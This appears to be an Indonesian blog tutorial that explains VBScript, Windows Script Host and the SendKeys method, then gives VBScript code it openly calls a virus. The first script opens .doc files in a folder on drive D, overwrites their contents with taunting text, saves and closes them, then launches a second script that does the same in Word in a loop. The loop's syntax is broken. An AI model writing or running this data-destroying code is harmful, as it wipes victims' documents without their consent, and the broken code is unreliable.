VIRUS MENGUBAH ISI FILE DOC

VIRUS

Menurut Fred Cohen, seorang pakar virus komputer mendefinisikan bahwa virus adalah sebuah program komputer yang memiliki kemampuan menggandakandiri, menginfeksi file atau program lain dengan dirinya sendiri atau karakter byte acak, mengganggu kinerja dari sebuah komputer, kehadirannya tidak disadari dan yang jelas tidak diinginkan.

VISUAL BASIC SCRIPT

VB Script merupakan kepanjangan dari Visual Basic Script yang mana masih merupakan bagian keluarga dari bahasa pemrograman Visual Basic. 

Pada dasarnya VBScript  merupakan sebuah bahasa pemrograman script yang dijalankan oleh sebuah interpreter. 

Windows Scripting Host (WSH – wsxript.exe) adalah salah satu program yang berperan sebagai interpreter dari VBScript yang bertugas menjalankan dan mengeksekusi script-script VB script.

Script VBScript dapat ditempelkan pada sebuah halaman web atau menjadi sebuah file yang independent yang biasanya memiliki ekstensi file “.VBS. 

Nah, tanpa Windows Scripting Host , VBScript tidak akan dapat berjalan. 

WINDOWS SCRIPTING HOSTING

Windows Scripting Host adalah sebuah program yang berfungsi sebagai interpreter dari VBScript dalam lingkungan sistem operasi Microsoft Windows. Secara default, Windows Scripting Host akan ikut terinstall saat anda menginstall sistem operasi Microsoft Windows atau menginstall browser Internet Explorer versi 5 keatas. 

Sebenarnya Windows Scripting Host memiliki 2 buah file

wscript.exe = mengeksekusi script VBS pada lingkungan windows

csript.exe  = mengeksekusi script VBS pada lingkungan DOS

WshShell.SendKeys

Metode ini adalah salah satu metode yang dimiliki oleh VB Script, yang mempunyai tujuan melaksanakan karakter ASCII tanpa harus mengetik langsung melalui keyboard.

WshShell.SendKeys "Character_string_and/or_SendKeys“

Set WshShell

WshShell adalah nama dari objek yang biasa dipakai di aplikasi windows shell.

Set WshShell = CreateObject( "WScript.Shell" )

Menjalankan objek dari karakter ASCII yang telah kita tentukan.

Perintah tersebut berfungsi untuk mengeset (mengisi) variabel “WshShell” sebagai objek dari Windows Scripting Host Shell yang ditandai dengan perintah “Wscript.Shell”. 

Wscript.Sleep

Menangguhkan eksekusi script saat ini untuk jumlah tertentu yaitu dalam hitungan milidetik

Menghentikan eksekusi dari script yang berjalan dengan spesifikasi dalam hitungan waktu miliseconds.

Syntax 

WScript.Sleep lngTime

Example

WScript.Sleep 5000

Berikut ini adalah codingan untuk membuat virus yang mengubah isi file doc

WScript.Sleep 1800
WScript.Sleep 100


Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "D:\tes\"
WScript.Sleep 500
WshShell.SendKeys "^f"
WScript.Sleep 500
WshShell.SendKeys ".doc"
WScript.Sleep 500
WshShell.SendKeys "{enter}"
WScript.Sleep 500
WshShell.SendKeys "{tab}"
WScript.Sleep 500
WshShell.SendKeys "{tab}"
WScript.Sleep 500
WshShell.SendKeys "^a"
WScript.Sleep 500
WshShell.SendKeys "{enter}"
WScript.Sleep 4000


WshShell.SendKeys "^a"
WScript.Sleep 500
WshShell.SendKeys "Ooooooooo"
WScript.Sleep 500
WshShell.SendKeys "{enter}"
WScript.Sleep 500
WshShell.SendKeys "O"
WScript.Sleep 500
WshShell.SendKeys "apa liat liat ? "
WScript.Sleep 500
WshShell.SendKeys "{enter}"
WScript.Sleep 500
WshShell.SendKeys "kita paling oke kan? "
WScript.Sleep  500
WshShell.SendKeys "{enter}"
WScript.Sleep  500
WshShell.SendKeys "Ga percaya?masa?"
WScript.Sleep  500
WshShell.SendKeys "{enter}"
WScript.Sleep  500
WshShell.SendKeys "sama dongggggg"
WScript.Sleep  500
WshShell.SendKeys "{enter}"
WScript.Sleep  500
WshShell.SendKeys "Auahhhhhh"
WScript.Sleep 500
WshShell.SendKeys "{enter}"
WScript.Sleep 500
WshShell.SendKeys "byeeeeeeee "
WScript.Sleep  500
WshShell.SendKeys "{enter}"
WScript.Sleep  500
WshShell.SendKeys "V1RU5 TSADET55555"
WScript.Sleep  500
WshShell.SendKeys "!"
WScript.Sleep  500
WshShell.SendKeys "!"
WScript.Sleep  500
WshShell.SendKeys "^s"
WScript.Sleep 200
WshShell.SendKeys "%{F4}"
WScript.Sleep 200


WScript.sleep 50

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "D:\ulangg.vbs"


Codingan mengulang virus 
Set WshShell = WScript.CreateObject("WScript.Shell")

num = 0


WshShell.AppActivate "WINWORD"
WScript.Sleep 50

do

WshShell.SendKeys "^a"
WScript.Sleep 500
WshShell.SendKeys "B"
WScript.Sleep 50
WshShell.SendKeys "I"
WScript.Sleep 50
WshShell.SendKeys "A"
WScript.Sleep 50
WshShell.SendKeys "S"
WScript.Sleep 50
WshShell.SendKeys "A"
WScript.Sleep 50
WshShell.SendKeys " "
WScript.Sleep 50
WshShell.SendKeys "A"
WScript.Sleep 50
WshShell.SendKeys "J"
WScript.Sleep 50
WshShell.SendKeys "A "
WScript.Sleep 50
WshShell.SendKeys " "
WScript.Sleep 50
WshShell.SendKeys "W"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "Y"
WScript.Sleep 50
WshShell.SendKeys " "
WScript.Sleep 50
WshShell.SendKeys "B"
WScript.Sleep 50
WshShell.SendKeys "A"
WScript.Sleep 50
WshShell.SendKeys "C"
WScript.Sleep 50
WshShell.SendKeys "I"
WScript.Sleep 50
WshShell.SendKeys "T"
WScript.Sleep 50
WshShell.SendKeys "^s"
WScript.Sleep 800
WshShell.SendKeys "%{F4}"
WScript.Sleep 800


WScript.Sleep 100


 while (num == 10)
  exit do
  num = num + 1
loop